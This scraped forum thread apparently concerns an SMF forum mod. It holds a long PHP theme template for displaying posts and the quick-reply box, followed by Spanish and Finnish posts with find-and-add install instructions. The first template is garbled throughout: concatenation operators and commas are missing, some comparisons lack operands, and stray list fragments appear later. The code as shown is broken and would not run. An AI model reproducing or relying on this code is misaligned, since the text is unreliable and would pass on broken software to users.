$message['member']['href'], '">', ($settings['use_image_buttons'] ? '<img src="' $settings['images_url'] . '/icons/profile_sm.gif" alt="' $txt[27] . '" title="' $txt[27] . '" border="0" />' $txt[27]), '</a>';

// Don't show an icon if they haven't specified a website.
if ($message['member']['website']['url'] != '')
echo '
<a href="'
$message['member']['website']['url'], '" title="' $message['member']['website']['title'] . '" target="_blank">', ($settings['use_image_buttons'] ? '<img src="' $settings['images_url'] . '/www_sm.gif" alt="' $txt[515] . '" border="0" />' $txt[515]), '</a>';

// Don't show the email address if they want it hidden.
if (empty($message['member']['hide_email']))
echo '
<a href="mailto:'
$message['member']['email'], '">', ($settings['use_image_buttons'] ? '<img src="' $settings['images_url'] . '/email_sm.gif" alt="' $txt[69] . '" title="' $txt[69] . '" border="0" />' $txt[69]), '</a>';

// Since we know this person isn't a guest, you *can* message them.
if ($context['can_send_pm'])
echo '
<a href="'
$scripturl'?action=pm;sa=send;u='$message['member']['id'], '" title="'$message['member']['online']['label'], '">'$settings['use_image_buttons'] ? '<img src="' $settings['images_url'] . '/im_' . ($message['member']['online']['is_online'] ? 'on' 'off') . '.gif" alt="' $message['member']['online']['label'] . '" border="0" />' $message['member']['online']['label'], '</a>';
}
}
// Otherwise, show the guest's email.
elseif (empty($message['member']['hide_email']))
echo '
<br />
<br />
<a href="mailto:'
$message['member']['email'], '">', ($settings['use_image_buttons'] ? '<img src="' $settings['images_url'] . '/email_sm.gif" alt="' $txt[69] . '" title="' $txt[69] . '" border="0" />' $txt[69]), '</a>';

// Done with the information about the poster... on to the post itself.
echo '
</div>
</td>
<td valign="top" width="85%" height="100%">
<table width="100%" border="0"><tr>
<td valign="middle"><a href="'
$message['href'], '"><img src="'$message['icon_url'] . '" alt="" border="0" /></a></td>
<td valign="middle">
<div style="font-weight: bold;" id="subject_'
$message['id'], '">
<a href="'
$message['href'], '">'$message['subject'], '</a>
</div>'
;

// If this is the first post, (#0) just say when it was posted - otherwise give the reply #.
echo '
<div class="smalltext">&#38;#171; <b>'
, !empty($message['counter']) ? $txt[146] . ' #' $message['counter'] : ''' '$txt[30], ':</b> '$message['time'], ' &#38;#187;</div></td>
<td align="'
, !$context['right_to_left'] ? 'right' 'left''" valign="bottom" height="20" style="font-size: smaller;">';

// Can they reply? Have they turned on quick reply?
if ($context['can_reply'] && !empty($options['display_quick_reply']))
echo '
<a href="'
$scripturl'?action=post;quote='$message['id'], ';topic='$context['current_topic'], '.'$context['start'], ';num_replies='$context['num_replies'], ';sesc='$context['session_id'], '" onclick="doQuote('$message['id'], ', \''$context['session_id'], '\'); return false;">'$reply_button'</a>';

// So... quick reply is off, but they *can* reply?
elseif ($context['can_reply'])
echo '
<a href="'
$scripturl'?action=post;quote='$message['id'], ';topic='$context['current_topic'], '.'$context['start'], ';num_replies='$context['num_replies'], ';sesc='$context['session_id'], '">'$reply_button'</a>';

// Can the user modify the contents of this post?
if ($message['can_modify'])
echo '
<a href="'
$scripturl'?action=post;msg='$message['id'], ';topic='$context['current_topic'], '.'$context['start'], ';sesc='$context['session_id'], '">'$modify_button'</a>';

// How about... even... remove it entirely?!
if ($message['can_remove'])
echo '
<a href="'
$scripturl'?action=deletemsg;topic='$context['current_topic'], '.'$context['start'], ';msg='$message['id'], ';sesc='$context['session_id'], '" onclick="return confirm(\''$txt[154], '?\');">'$remove_button'</a>';

// What about splitting it off the rest of the topic?
if ($context['can_split'])
echo '
<a href="'
$scripturl'?action=splittopics;topic='$context['current_topic'], '.0;at='$message['id'], '">'$split_button'</a>';

// Show a checkbox for quick moderation?
if (!empty($options['display_quick_mod']) && $options['display_quick_mod'] == && $message['can_remove'])
echo '
<input type="checkbox" name="msgs[]" value="'
$message['id'], '" class="check" ', empty($settings['use_tabs']) ? 'onclick="document.getElementById(\'quickmodSubmit\').style.display = \'\';"' ''' />';

// Show the post itself, finally!
echo '
</td>
</tr></table>
<hr width="100%" size="1" class="hrcolor" />
<div class="post"'
$message['can_modify'] ? ' id="msg_' $message['id'] . '"' '''>'$message['body'], '</div>'$message['can_modify'] ? '
<img src="' 
$settings['images_url'] . '/icons/modify_inline.gif" alt="" align="right" id="modify_button_' $message['id'] . '" style="cursor: pointer; display: none;" onclick="modify_msg(\'' $message['id'] . '\', \'' $context['session_id'] . '\')" />' '' '
</td>
</tr>'
;

// Now for the attachments, signature, ip logged, etc...
echo '
<tr>
<td valign="bottom" class="smalltext" width="85%">
<table width="100%" border="0" style="table-layout: fixed;"><tr>
<td colspan="2" class="smalltext" width="100%">'
;

// Assuming there are attachments...
if (!empty($message['attachment']))
{
echo '
<hr width="100%" size="1" class="hrcolor" />
<div style="overflow: auto; width: 100%;">'
;
foreach ($message['attachment'] as $attachment)
{
if ($attachment['is_image'])
{
if ($attachment['thumbnail']['has_thumb'])
echo '
<a href="'
$attachment['href'], ';image" id="link_'$attachment['id'], '" onclick="'$attachment['thumbnail']['javascript'], '"><img src="'$attachment['thumbnail']['href'], '" alt="" id="thumb_'$attachment['id'], '" border="0" /></a><br />';
else
echo '
<img src="' 
$attachment['href'] . ';image" alt="" width="' $attachment['width'] . '" height="' $attachment['height'] . '" border="0" /><br />';
}
echo '
<a href="' 
$attachment['href'] . '"><img src="' $settings['images_url'] . '/icons/clip.gif" align="middle" alt="*" border="0" />&nbsp;' $attachment['name'] . '</a> ('$attachment['size'], ($attachment['is_image'] ? ', ' $attachment['real_width'] . 'x' $attachment['real_height'] . ' - ' $txt['attach_viewed'] : ' - ' $txt['attach_downloaded']) . ' ' $attachment['downloads'] . ' ' $txt['attach_times'] . '.)<br />';
}

echo '
</div>'
;
}

echo '
</td>
</tr><tr>
<td valign="bottom" class="smalltext" id="modified_'
$message['id'], '">';

// Show "« Last Edit: Time by Person »" if this post was edited.
if ($settings['show_modify'] && !empty($message['modified']['name']))
echo '
&#38;#171; <i>'
$txt[211], ': '$message['modified']['time'], ' '$txt[525], ' '$message['modified']['name'], !empty($message['modified']['edit_reason']) ? ', Reason: ' $message['modified']['edit_reason'] : '' '  </i> &#38;#187;';

echo '
</td>
<td align="'
, !$context['right_to_left'] ? 'right' 'left''" valign="bottom" class="smalltext">';

// Maybe they want to report this post to the moderator(s)?
if ($context['can_report_moderator'])
echo '
<a href="'
$scripturl'?action=reporttm;topic='$context['current_topic'], '.'$message['counter'], ';msg='$message['id'], '">'$txt['rtm1'], '</a> &nbsp;';
echo '
<img src="'
$settings['images_url'], '/ip.gif" alt="" border="0" />';

// Show the IP to this user for this post - because you can moderate?
if ($context['can_moderate_forum'] && !empty($message['member']['ip']))
echo '
<a href="'
$scripturl'?action=trackip;searchip='$message['member']['ip'], '">'$message['member']['ip'], '</a> <a href="'$scripturl'?action=helpadmin;help=see_admin_ip" onclick="return reqWin(this.href);" class="help">(?)</a>';
// Or, should we show it because this is you?
elseif ($message['can_see_ip'])
echo '
<a href="'
$scripturl'?action=helpadmin;help=see_member_ip" onclick="return reqWin(this.href);" class="help">'$message['member']['ip'], '</a>';
// Okay, are you at least logged in?  Then we can show something about why IPs are logged...
elseif (!$context['user']['is_guest'])
echo '
<a href="'
$scripturl'?action=helpadmin;help=see_member_ip" onclick="return reqWin(this.href);" class="help">'$txt[511], '</a>';
// Otherwise, you see NOTHING!
else
echo '
'
$txt[511];

echo '
</td>
</tr></table>'
;

// Show the member's signature?
if (!empty($message['member']['signature']) && empty($options['show_no_signatures']))
echo '
<hr width="100%" size="1" class="hrcolor" />
<div class="signature">'
$message['member']['signature'], '</div>';

echo '
</td>
</tr>
</table>
</td></tr>
</table>
</td></tr>'
;
}
echo '
<tr><td style="padding: 0 0 1px 0;"></td></tr>
</table>
<a name="lastPost"></a>'
;

// As before, build the custom button right.
if ($context['can_add_poll'])
$normal_buttons['custom'] = array('text' => 'add_poll''image' => 'add_poll.gif''lang' => true'url' => $scripturl '?action=editpoll;add;topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']);
elseif ($context['user']['is_logged'] && $settings['show_mark_read'])
$normal_buttons['custom'] = array('text' => 'mark_unread''image' => 'markunread.gif''lang' => true'url' => $scripturl '?action=markasread;sa=topic;t=' $context['mark_unread_time'] . ';topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']);

echo '
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="middletext">'
$txt[139], ': '$context['page_index'], !empty($modSettings['topbottomEnable']) ? $context['menu_separator'] . ' &nbsp;&nbsp;<a href="#top"><b>' $txt['topbottom4'] . '</b></a>' '''</td>
<td align="right" style="padding-right: 1ex;">
<table cellpadding="0" cellspacing="0">
<tr>
'
template_button_strip($normal_buttons'top'true), '
</tr>
</table>
</td>
</tr>
</table>'
;

if ($context['show_spellchecking'])
echo '
<script language="JavaScript" type="text/javascript" src="' 
$settings['default_theme_url'] . '/spellcheck.js"></script>';

echo 
'
<script language="JavaScript" type="text/javascript" src="' 
$settings['default_theme_url'] . '/xml_topic.js"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
quickReplyCollapsed = '
, !empty($options['display_quick_reply']) && $options['display_quick_reply'] == 'false' 'true'';

smf_topic = '
$context['current_topic'], ';
smf_start = '
$context['start'], ';
smf_show_modify = '
$settings['show_modify'] ? '1' '0'';

// On quick modify, this is what the body will look like.
var smf_template_body_edit = \'<div id="error_box" style="padding: 4px; color: red;"></div><textarea class="editor" name="message" rows="12" style="width: 94%; margin-bottom: 10px;">%body%</textarea><br /><input type="hidden" name="sc" value="'
$context['session_id'], '" /><input type="hidden" name="topic" value="'$context['current_topic'], '" /><input type="hidden" name="msg" value="%msg_id%" /><div style="text-align: center;"><input type="submit" name="post" value="'$txt[10], '" onclick="return modify_save(\\\'' $context['session_id'] . '\\\');" accesskey="s" />&nbsp;&nbsp;'$context['show_spellchecking'] ? '<input type="button" value="' $txt['spell_check'] . '" onclick="spellCheck(\\\'quickModForm\\\', \\\'message\\\');" />&nbsp;&nbsp;' '''<input type="submit" name="cancel" value="'$txt['modify_cancel'], '" onclick="return modify_cancel();" /></div>\';

// And this is the replacement for the subject.
var smf_template_subject_edit = \'<input type="text" name="subject" value="%subject%" size="60" style="width: 99%;"  maxlength="80" />\';

// Restore the message to this after editing.
var smf_template_body_normal = \'%body%\';
var smf_template_subject_normal = \'<a href="'
$scripturl'?topic='$context['current_topic'], '.msg%msg_id%#msg%msg_id%">%subject%</a>\';
var smf_template_top_subject = "'
$txt[118], ': %subject% &nbsp;('$txt[641], ' '$context['num_views'], ' '$txt[642], ')"

if (window.XMLHttpRequest)
showModifyButtons();
// ]]></script>
<table border="0" width="100%" cellpadding="0" cellspacing="0" style="margin-bottom: 1ex;">
<tr>'
;
if ($settings['linktree_inline'])
echo '
<td valign="top">'
theme_linktree(), '</td> ';
echo '
<td valign="top" align="'
, !$context['right_to_left'] ? 'right' 'left''" class="nav"> '$context['previous_next'], '</td>
</tr>
</table>'
;

$mod_buttons = array(
'move' => array('test' => 'can_move''text' => 132'image' => 'admin_move.gif''lang' => true'url' => $scripturl '?action=movetopic;topic=' $context['current_topic'] . '.0'),
'delete' => array('test' => 'can_delete''text' => 63'image' => 'admin_rem.gif''lang' => true'custom' => 'onclick="return confirm(\'' $txt[162] . '\');"''url' => $scripturl '?action=removetopic2;topic=' $context['current_topic'] . '.0;sesc=' $context['session_id']),
'lock' => array('test' => 'can_lock''text' => empty($context['is_locked']) ? 'smf279' 'smf280''image' => 'admin_lock.gif''lang' => true'url' => $scripturl '?action=lock;topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']),
'sticky' => array('test' => 'can_sticky''text' => empty($context['is_sticky']) ? 'smf277' 'smf278''image' => 'admin_sticky.gif''lang' => true'url' => $scripturl '?action=sticky;topic=' $context['current_topic'] . '.' $context['start'] . ';sesc=' $context['session_id']),
'merge' => array('test' => 'can_merge''text' => 'smf252''image' => 'merge.gif''lang' => true'url' => $scripturl '?action=mergetopics;board=' $context['current_board'] . '.0;from=' $context['current_topic']),
'remove_poll' => array('test' => 'can_remove_poll''text' => 'poll_remove''image' => 'admin_remove_poll.gif''lang' => true'custom' => 'onclick="return confirm(\'' $txt['poll_remove_warn'] . '\');"''url' => $scripturl '?action=removepoll;topic=' $context['current_topic'] . '.' $context['start']),
'calendar' => array('test' => 'calendar_post''text' => 'calendar37''image' => 'linktocal.gif''lang' => true'url' => $scripturl '?action=post;calendar;msg=' $context['topic_first_message'] . ';topic=' $context['current_topic'] . '.0;sesc=' $context['session_id']),
);

if ($context['can_remove_post'] && !empty($options['display_quick_mod']) && $options['display_quick_mod'] == 1)
$mod_buttons[] = array('text' => 'quickmod_delete_selected''image' => 'delete_selected.gif''lang' => true'custom' => 'onclick="return confirm(\'' $txt['quickmod_confirm'] . '\');" id="quickmodSubmit"''url' => 'javascript:document.quickModForm.submit();');

echo '
<table cellpadding="0" cellspacing="0" border="0" style="margin-left: 1ex;">
<tr>
'
template_button_strip($mod_buttons'bottom') , '
</tr>
</table>'
;

if (!empty($options['display_quick_mod']) && $options['display_quick_mod'] == && $context['can_remove_post'])
echo '
<input type="hidden" name="sc" value="'
$context['session_id'], '" />';

if (empty($settings['use_tabs']))
echo '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
document.getElementById("quickmodSubmit").style.display = "none";
// ]]></script>'
;

echo '
</form>'
;

echo '
<div class="tborder"><div class="titlebg2" style="padding: 4px;" align="'
, !$context['right_to_left'] ? 'right' 'left''">
<form action="'
$scripturl'" method="get" accept-charset="'$context['character_set'], '" style="padding:0; margin: 0;">
<span class="smalltext">' 
$txt[160] . ':</span>
<select name="jumpto" id="jumpto" onchange="if (this.selectedIndex > 0 &amp;&amp; this.options[this.selectedIndex].value) window.location.href = smf_scripturl + this.options[this.selectedIndex].value.substr(smf_scripturl.indexOf(\'?\') == -1 || this.options[this.selectedIndex].value.substr(0, 1) != \'?\' ? 0 : 1);">
<option value="">' 
$txt[251] . ':</option>';
foreach ($context['jump_to'] as $category)
{
echo '
<option value="" disabled="disabled">-----------------------------</option>
<option value="#'
$category['id'], '">'$category['name'], '</option>
<option value="" disabled="disabled">-----------------------------</option>'
;
foreach ($category['boards'] as $board)
echo '
<option value="?board='
$board['id'], '.0"'$board['is_current'] ? ' selected="selected"' '''> ' str_repeat('=='$board['child_level']) . '=> ' $board['name'] . '</option>';
}
echo '
</select>&nbsp;
<input type="button" value="'
$txt[161], '" onclick="if (this.form.jumpto.options[this.form.jumpto.selectedIndex].value) window.location.href = \''$scripturl'\' + this.form.jumpto.options[this.form.jumpto.selectedIndex].value;" />
</form>
</div></div>'
;

echo '<br />';

if ($context['can_reply'] && !empty($options['display_quick_reply']))
{
echo '
<a name="quickreply"></a>
<table border="0" cellspacing="1" cellpadding="3" class="bordercolor" width="100%" style="clear: both;">
<tr>
<td colspan="2" class="catbg"><a href="javascript:swapQuickReply();"><img src="'
$settings['images_url'], '/'$options['display_quick_reply'] == 'collapse' 'expand''.gif" alt="+" id="quickReplyExpand" /></a> <a href="javascript:swapQuickReply();">'$txt['quick_reply_1'], '</a></td>
</tr>
<tr id="quickReplyOptions"'
$options['display_quick_reply'] == '' ' style="display: none"''>
<td class="windowbg" width="25%" valign="top">'
$txt['quick_reply_2'], $context['is_locked'] ? '<br /><br /><b>' $txt['quick_reply_warning'] . '</b>' '''</td>
<td class="windowbg" width="75%" align="center">
<form action="'
$scripturl'?action=post2" method="post" accept-charset="'$context['character_set'], '" name="postmodify" id="postmodify" onsubmit="submitonce(this);" style="margin: 0;">
<input type="hidden" name="topic" value="' 
$context['current_topic'] . '" />
<input type="hidden" name="subject" value="' 
$context['response_prefix'] . $context['subject'] . '" />
<input type="hidden" name="icon" value="xx" />
<input type="hidden" name="notify" value="'
$context['is_marked_notify'] || !empty($options['auto_notify']) ? '1' '0''" />
<input type="hidden" name="goback" value="'
, empty($options['return_to_post']) ? '0' '1''" />
<input type="hidden" name="num_replies" value="'
$context['num_replies'], '" />
<textarea cols="75" rows="7" style="width: 95%;" name="message" id="message" tabindex="1"></textarea><br />
<!-- Begin modification - Increase/Decrease postbox size -->
<div style="float: left; margin-left: 2.5%">
<input type="button" value="-" onclick="document.getElementById(\'message\').rows -= '
, (empty($modSettings['postbox_incdec']) ? '10' : (int) $modSettings['postbox_incdec']), '" />
<input type="button" value="+" onclick="document.getElementById(\'message\').rows += '
, (empty($modSettings['postbox_incdec']) ? '10' : (int) $modSettings['postbox_incdec']), '" />
</div>
<!-- End modification -->

<input type="submit" name="post" value="' 
$txt[105] . '" onclick="return submitThisOnce(this);" accesskey="s" tabindex="2" />
<input type="submit" name="preview" value="' 
$txt[507] . '" onclick="return submitThisOnce(this);" accesskey="p" tabindex="4" />';
if ($context['show_spellchecking'])
echo '
<input type="button" value="'
$txt['spell_check'], '" onclick="spellCheck(\'postmodify\', \'message\');" tabindex="5"/>';
echo '
<input type="hidden" name="sc" value="' 
$context['session_id'] . '" />
<input type="hidden" name="seqnum" value="'
$context['form_sequence_number'], '" />
</form>
</td>
</tr>
</table>'
;
}
if ($context['show_spellchecking'])
echo '
<form action="'
$scripturl'?action=spellcheck" method="post" accept-charset="'$context['character_set'], '" name="spell_form" id="spell_form" target="spellWindow"><input type="hidden" name="spellstring" value="" /></form>';
}

?>

   


4Kstore


¡¡NEW MOD: Sparkles User Names!!!


juaaan

Lainaus käyttäjältä: onlychriss - toukokuu 10, 2009, 08:34:25 IP
Lainaus käyttäjältä: juaaan - toukokuu 09, 2009, 04:34:20 IP
cual es tu theme??...
dibelmer y smf 1.8
Buscas:

?>


Añade antes

// This function displays all the stuff you'd expect to see with a message box, the box, BBC buttons and of course smileys.
// NOTICE: With the exception of some edits, this code was copied from Subs-Post.php, which is the work of the SMF dev team. I only moved things around...so thank them, not me!
function template_quickreply_box()
{
global $context, $settings, $options, $txt, $modSettings;

// Assuming BBC code is enabled then print the buttons and some javascript to handle it.
if ($context['show_bbc'])
{
echo '
<script language="JavaScript" type="text/javascript"><!-- // -->
function bbc_highlight(something, mode)
{
something.style.backgroundImage = "url(" + smf_images_url + (mode ? "/bbc/bbc_hoverbg.gif)" : "/bbc/bbc_bg.gif)");
}
// ]]></script>';

// The below array makes it dead easy to add images to this page. Add it to the array and everything else is done for you!
$context['bbc_tags'] = array();
$context['bbc_tags'][] = array(
'bold' => array('code' => 'b', 'before' => '[b]', 'after' => '[/b]', 'description' => $txt[253]),
'italicize' => array('code' => 'i', 'before' => '[i]', 'after' => '[/i]', 'description' => $txt[254]),
'underline' => array('code' => 'u', 'before' => '[u]', 'after' => '[/u]', 'description' => $txt[255]),
'strike' => array('code' => 's', 'before' => '[s]', 'after' => '[/s]', 'description' => $txt[441]),
array(),
'glow' => array('code' => 'glow', 'before' => '[glow=red,2,300]', 'after' => '[/glow]', 'description' => $txt[442]),
'shadow' => array('code' => 'shadow', 'before' => '[shadow=red,left]', 'after' => '[/shadow]', 'description' => $txt[443]),
'move' => array('code' => 'move', 'before' => '[move]', 'after' => '[/move]', 'description' => $txt[439]),
array(),
'pre' => array('code' => 'pre', 'before' => '[pre]', 'after' => '[/pre]', 'description' => $txt[444]),
'left' => array('code' => 'left', 'before' => '[left]', 'after' => '[/left]', 'description' => $txt[445]),
'center' => array('code' => 'center', 'before' => '[center]', 'after' => '[/center]', 'description' => $txt[256]),
'right' => array('code' => 'right', 'before' => '[right]', 'after' => '[/right]', 'description' => $txt[446]),
array(),
'hr' => array('code' => 'hr', 'before' => '[hr]', 'description' => $txt[531]),
array(),
'size' => array('code' => 'size', 'before' => '[size=10pt]', 'after' => '[/size]', 'description' => $txt[532]),
'face' => array('code' => 'font', 'before' => '[font=Verdana]', 'after' => '[/font]', 'description' => $txt[533]),
);
$context['bbc_tags'][] = array(
'flash' => array('code' => 'flash', 'before' => '[flash=200,200]', 'after' => '[/flash]', 'description' => $txt[433]),
'img' => array('code' => 'img', 'before' => '[img]', 'after' => '[/img]', 'description' => $txt[435]),
'url' => array('code' => 'url', 'before' => '[url]', 'after' => '[/url]', 'description' => $txt[257]),
'email' => array('code' => 'email', 'before' => '[email]', 'after' => '[/email]', 'description' => $txt[258]),
'ftp' => array('code' => 'ftp', 'before' => '[ftp]', 'after' => '[/ftp]', 'description' => $txt[434]),
array(),
'table' => array('code' => 'table', 'before' => '[table]', 'after' => '[/table]', 'description' => $txt[436]),
'tr' => array('code' => 'td', 'before' => '[tr]', 'after' => '[/tr]', 'description' => $txt[449]),
'td' => array('code' => 'td', 'before' => '[td]', 'after' => '[/td]', 'description' => $txt[437]),
array(),
'sup' => array('code' => 'sup', 'before' => '[sup]', 'after' => '[/sup]', 'description' => $txt[447]),
'sub' => array('code' => 'sub', 'before' => '[sub]', 'after' => '[/sub]', 'description' => $txt[448]),
'tele' => array('code' => 'tt', 'before' => '[tt]', 'after' => '[/tt]', 'description' => $txt[440]),
array(),
'code' => array('code' => 'code', 'before' => '[code]', 'after' => '
', 'description' => $txt[259]),
         'quote' => array('code' => 'quote', 'before' => '
Lainaa', 'after' => '
', 'description' => $txt[260]),
         array(),
         'list' => array('code' => 'list', 'before' => '
    \n
  • ', 'after' => '
  • \n
  • \n
', 'description' => $txt[261]),
      );

      $found_button = false;
      // Here loop through the array, printing the images/rows/separators!
      foreach ($context['bbc_tags'][0] as $image => $tag)
      {
         // Is there a "before" part for this bbc button? If not, it can't be a button!!
         if (isset($tag['before']))
         {
            // Is this tag disabled?
            if (!empty($context['disabled_tags'][$tag['code']]))
               continue;

            $found_button = true;

            // If there's no after, we're just replacing the entire selection in the post box.
            if (!isset($tag['after']))
               echo '<a href="javascript:void(0);" onclick="replaceText(\'', $tag['before'], '\', document.forms.postmodify.message); return false;">';
            // On the other hand, if there is one we are surrounding the selection ;).
            else
               echo '<a href="javascript:void(0);" onclick="surroundText(\'', $tag['before'], '\', \'', $tag['after'], '\', document.forms.postmodify.message); return false;">';

            // Okay... we have the link. Now for the image and the closing </a>!
            echo '<img onmouseover="bbc_highlight(this, true);" onmouseout="if (window.bbc_highlight) bbc_highlight(this, false);" src="', $settings['images_url'], '/bbc/', $image, '.gif" align="bottom" width="23" height="22" alt="', $tag['description'], '" title="', $tag['description'], '" style="background-image: url(', $settings['images_url'], '/bbc/bbc_bg.gif); margin: 1px 2px 1px 1px;" /></a>';
         }
         // I guess it's a divider...
         elseif ($found_button)
         {
            echo '<img src="', $settings['images_url'], '/bbc/divider.gif" alt="|" style="margin: 0 3px 0 3px;" />';
            $found_button = false;
         }
      }

      // Print a drop down list for all the colors we allow!
      if (!isset($context['disabled_tags']['color']))
         echo ' <select onchange="surroundText(\'[color=\' + this.options[this.selectedIndex].value.toLowerCase() + \']\', \'[/color]\', document.forms.postmodify.message); this.selectedIndex = 0; document.forms.postmodify.message.focus(document.forms.postmodify.message.caretPos);" style="margin-bottom: 1ex;">
            <option value="" selected="selected">', $txt['change_color'], '</option>
            <option value="Black">', $txt[262], '</option>
            <option value="Red">', $txt[263], '</option>
            <option value="Yellow">', $txt[264], '</option>
            <option value="Pink">', $txt[265], '</option>
            <option value="Green">', $txt[266], '</option>
            <option value="Orange">', $txt[267], '</option>
            <option value="Purple">', $txt[268], '</option>
            <option value="Blue">', $txt[269], '</option>
            <option value="Beige">', $txt[270], '</option>
            <option value="Brown">', $txt[271], '</option>
            <option value="Teal">', $txt[272], '</option>
            <option value="Navy">', $txt[273], '</option>
            <option value="Maroon">', $txt[274], '</option>
            <option value="LimeGreen">', $txt[275], '</option>
         </select>';
      echo '<br />';

      $found_button = false;
      // Print the buttom row of buttons!
      foreach ($context['bbc_tags'][1] as $image => $tag)
      {
         if (isset($tag['before']))
         {
            // Is this tag disabled?
            if (!empty($context['disabled_tags'][$tag['code']]))
               continue;

            $found_button = true;

            // If there's no after, we're just replacing the entire selection in the post box.
            if (!isset($tag['after']))
               echo '<a href="javascript:void(0);" onclick="replaceText(\'', $tag['before'], '\', document.forms.postmodify.message); return false;">';
            // On the other hand, if there is one we are surrounding the selection ;).
            else
               echo '<a href="javascript:void(0);" onclick="surroundText(\'', $tag['before'], '\', \'', $tag['after'], '\', document.forms.postmodify.message); return false;">';

            // Okay... we have the link. Now for the image and the closing </a>!
            echo '<img onmouseover="bbc_highlight(this, true);" onmouseout="if (window.bbc_highlight) bbc_highlight(this, false);" src="', $settings['images_url'], '/bbc/', $image, '.gif" align="bottom" width="23" height="22" alt="', $tag['description'], '" title="', $tag['description'], '" style="background-image: url(', $settings['images_url'], '/bbc/bbc_bg.gif); margin: 1px 2px 1px 1px;" /></a>';
         }
         // I guess it's a divider...
         elseif ($found_button)
         {
            echo '<img src="', $settings['images_url'], '/bbc/divider.gif" alt="|" style="margin: 0 3px 0 3px;" />';
            $found_button = false;
         }
      }
   }

   // Now start printing all of the smileys.
   if (!empty($context['smileys']['postform']))
   {
      echo '
         <br />';

      // Show each row of smileys ;).
      foreach ($context['smileys']['postform'] as $smiley_row)
      {
         foreach ($smiley_row['smileys'] as $smiley)
            echo '
         <a href="javascript:void(0);" onclick="replaceText(\' ', $smiley['code'], '\', document.forms.postmodify.message); return false;"><img src="', $settings['smileys_url'], '/', $smiley['filename'], '" align="bottom" alt="', $smiley['description'], '" title="', $smiley['description'], '" /></a>';

         // If this isn't the last row, show a break.
         if (empty($smiley_row['last']))
            echo '<br />';
      }

      // If the smileys popup is to be shown... show it!
      if (!empty($context['smileys']['popup']))
         echo '
         <a href="javascript:moreSmileys();">[', $txt['more_smileys'], ']</a>';
   }

   // If there are additional smileys then ensure we provide the javascript for them.
   if (!empty($context['smileys']['popup']))
   {
      echo '
         <script language="JavaScript" type="text/javascript"><!-- // -->
            var smileys = [';

      foreach ($context['smileys']['popup'] as $smiley_row)
      {
         echo '
               [';
         foreach ($smiley_row['smileys'] as $smiley)
         {
            echo '
                  ["', $smiley['code'], '","', $smiley['filename'], '","', $smiley['js_description'], '"]';
            if (empty($smiley['last']))
               echo ',';
         }

         echo ']';
         if (empty($smiley_row['last']))
            echo ',';
      }

      echo '];
            var smileyPopupWindow;

            function moreSmileys()
            {
               var row, i;

               if (smileyPopupWindow)
                  smileyPopupWindow.close();

               smileyPopupWindow = window.open("", "add_smileys", "toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,width=480,height=220,resizable=yes");
               smileyPopupWindow.document.write(\'\n<html>\');
               smileyPopupWindow.document.write(\'\n\t<head>\n\t\t<title>', $txt['more_smileys_title'], '</title>\n\t\t<link rel="stylesheet" type="text/css" href="', $settings['theme_url'], '/style.css" />\n\t</head>\');
               smileyPopupWindow.document.write(\'\n\t<body style="margin: 1ex;">\n\t\t<table width="100%" cellpadding="5" cellspacing="0" border="0" class="tborder">\n\t\t\t<tr class="titlebg"><td align="left">', $txt['more_smileys_pick'], '</td></tr>\n\t\t\t<tr class="windowbg"><td align="left">\');

               for (row = 0; row < smileys.length; row++)
               {
                  for (i = 0; i < smileys[row].length; i++)
                  {
                     smileys[row][2] = smileys[row][2].replace(/"/g, \'&quot;\');
                     smileyPopupWindow.document.write(\'<a href="javascript:void(0);" onclick="window.opener.replaceText(&quot; \' + smileys[row]
  • + \'&quot;, window.opener.document.forms.postmodify.message); window.focus(); return false;"><img src="', $settings['smileys_url'], '/\' + smileys[row][1] + \'" alt="\' + smileys[row][2] + \'" title="\' + smileys[row][2] + \'" style="padding: 4px;" border="0" /></a> \');
                      }
                      smileyPopupWindow.document.write("<br />");
                   }

                   smileyPopupWindow.document.write(\'</td></tr>\n\t\t\t<tr><td align="center" class="windowbg"><a href="javascript:window.close();\\">', $txt['more_smileys_close_window'], '</a></td></tr>\n\t\t</table>\n\t</body>\n</html>\');
                   smileyPopupWindow.document.close();
                }
             // ]]></script>';
       }

       // Finally the most important bit - the actual text box to write in!
       echo '
             <textarea class="editor" cols="75" rows="7" style="width: 95%; height: 100px;" name="message" tabindex="1" onselect="storeCaret(this);" onclick="storeCaret(this);" onkeyup="storeCaret(this);" onchange="storeCaret(this);"></textarea>';
    }
    [/code]

    Buscas:

    if ($context['can_reply'] && !empty($options['display_quick_reply']))
    {
    echo '
    <a name="quickreply"></a>
    <table border="0" cellspacing="1" cellpadding="3" class="bordercolor" width="100%" style="clear: both;">
    <tr>
    <td colspan="2" class="catbg"><a href="javascript:swapQuickReply();"><img src="', $settings['images_url'], '/', $options['display_quick_reply'] == 2 ? 'collapse' : 'expand', '.gif" alt="+" id="quickReplyExpand" /></a> <a href="javascript:swapQuickReply();">', $txt['quick_reply_1'], '</a></td>
    </tr>
    <tr id="quickReplyOptions"', $options['display_quick_reply'] == 2 ? '' : ' style="display: none"', '>
    <td class="windowbg" width="25%" valign="top">', $txt['quick_reply_2'], $context['is_locked'] ? '<br /><br /><b>' . $txt['quick_reply_warning'] . '</b>' : '', '</td>
    <td class="windowbg" width="75%" align="center">
    <form action="', $scripturl, '?action=post2" method="post" accept-charset="', $context['character_set'], '" name="postmodify" id="postmodify" onsubmit="submitonce(this);" style="margin: 0;">
    <input type="hidden" name="topic" value="' . $context['current_topic'] . '" />
    <input type="hidden" name="subject" value="' . $context['response_prefix'] . $context['subject'] . '" />
    <input type="hidden" name="icon" value="xx" />
    <input type="hidden" name="notify" value="', $context['is_marked_notify'] || !empty($options['auto_notify']) ? '1' : '0', '" />
    <input type="hidden" name="goback" value="', empty($options['return_to_post']) ? '0' : '1', '" />
    <input type="hidden" name="num_replies" value="', $context['num_replies'], '" />
    <textarea cols="75" rows="7" style="width: 95%; height: 100px;" name="message" tabindex="1"></textarea><br />
    <input type="submit" name="post" value="' . $txt[105] . '" onclick="return submitThisOnce(this);" accesskey="s" tabindex="2" />
    <input type="submit" name="preview" value="' . $txt[507] . '" onclick="return submitThisOnce(this);" accesskey="p" tabindex="4" />';
    if ($context['show_spellchecking'])
    echo '
